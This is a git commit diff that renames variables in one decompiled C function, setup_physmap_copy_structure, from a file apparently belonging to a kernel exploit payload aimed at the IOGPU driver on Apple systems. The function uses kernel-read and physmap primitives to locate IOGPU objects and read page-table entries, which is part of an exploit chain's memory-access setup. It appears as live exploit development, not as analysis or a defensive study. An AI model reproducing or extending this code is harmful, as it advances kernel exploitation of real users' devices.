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Clarify IOGPU physmap copy setup

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khanhduytran0
2026-06-17 06:44:56 +07:00
parent c46161c58d
commit 16c8a7838e
1 changed files with 25 additions and 30 deletions
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src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
+25 -30
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@@ -1538,44 +1538,39 @@ LABEL_12:
//----- (0000000000009018) ----------------------------------------------------
void *__fastcall setup_physmap_copy_structure(uint64_t *a1)
{
__int16 v2; // w1
__int64 v3; // x1
unsigned __int64 v4; // x0
unsigned __int64 v5; // x0
void *result; // x0
__int64 v7; // [xsp+0h] [xbp-200h] BYREF
__int64 v8; // [xsp+8h] [xbp-1F8h] BYREF
unsigned __int64 v9; // [xsp+10h] [xbp-1F0h] BYREF
unsigned __int64 v10; // [xsp+18h] [xbp-1E8h] BYREF
uint64_t previousOverlapPte; // [xsp+0h] [xbp-200h] BYREF
uint64_t nextOverlapPte; // [xsp+8h] [xbp-1F8h] BYREF
unsigned __int64 previousOverlapAddr; // [xsp+10h] [xbp-1F0h] BYREF
unsigned __int64 nextOverlapAddr; // [xsp+18h] [xbp-1E8h] BYREF
uint8_t iogpuDesc[0xE0]; // [xsp+20h] [xbp-1E0h] BYREF
uint8_t physmapDesc[0xE0]; // [xsp+100h] [xbp-100h] BYREF
unsigned __int64 v33; // [xsp+1E0h] [xbp-20h] BYREF
uint32_t v34; // [xsp+1ECh] [xbp-14h] BYREF
unsigned __int64 physmapDescAddr; // [xsp+1E0h] [xbp-20h] BYREF
uint32_t physmapRangeIndex; // [xsp+1ECh] [xbp-14h] BYREF
v34 = 0;
physmap_read_dword(a1, a1[181], &v34);
v33 = 0;
scan_physmap_addr_range(a1, a1[180], v34, &v33);
physmapRangeIndex = 0;
physmap_read_dword(a1, a1[181], &physmapRangeIndex);
physmapDescAddr = 0;
scan_physmap_addr_range(a1, a1[180], physmapRangeIndex, &physmapDescAddr);
memset(physmapDesc, 0, sizeof(physmapDesc));
physmap_read_aligned(a1, v33, physmapDesc, sizeof(physmapDesc));
v2 = *(int16_t *)&physmapDesc[0x40];
physmap_read_aligned(a1, physmapDescAddr, physmapDesc, sizeof(physmapDesc));
__int16 iogpuDescriptorId = *(int16_t *)&physmapDesc[0x40];
a1[164] = *(uint64_t *)&physmapDesc[0x08];
a1[165] = a1[182];
memset(iogpuDesc, 0, sizeof(iogpuDesc));
iogpu_kread_loop(a1, v2, (char *)iogpuDesc, sizeof(iogpuDesc));
v3 = *(uint64_t *)&iogpuDesc[0x48];
a1[166] = v3;
v9 = 0;
v10 = 0;
scan_physmap_overlap(a1, v3, &v10, &v9);
v8 = 0;
v4 = build_physmap_page_table(a1, v10);
physmap_read_aligned(a1, v4, &v8, 8u);
a1[167] = v8;
v7 = 0;
v5 = build_physmap_page_table(a1, v9);
result = physmap_read_aligned(a1, v5, &v7, 8u);
a1[168] = v7;
iogpu_kread_loop(a1, iogpuDescriptorId, (char *)iogpuDesc, sizeof(iogpuDesc));
uint64_t iogpuObjectAddr = *(uint64_t *)&iogpuDesc[0x48];
a1[166] = iogpuObjectAddr;
previousOverlapAddr = 0;
nextOverlapAddr = 0;
scan_physmap_overlap(a1, iogpuObjectAddr, &nextOverlapAddr, &previousOverlapAddr);
nextOverlapPte = 0;
physmap_read_aligned(a1, build_physmap_page_table(a1, nextOverlapAddr), &nextOverlapPte, 8u);
a1[167] = nextOverlapPte;
previousOverlapPte = 0;
result = physmap_read_aligned(a1, build_physmap_page_table(a1, previousOverlapAddr), &previousOverlapPte, 8u);
a1[168] = previousOverlapPte;
return result;
}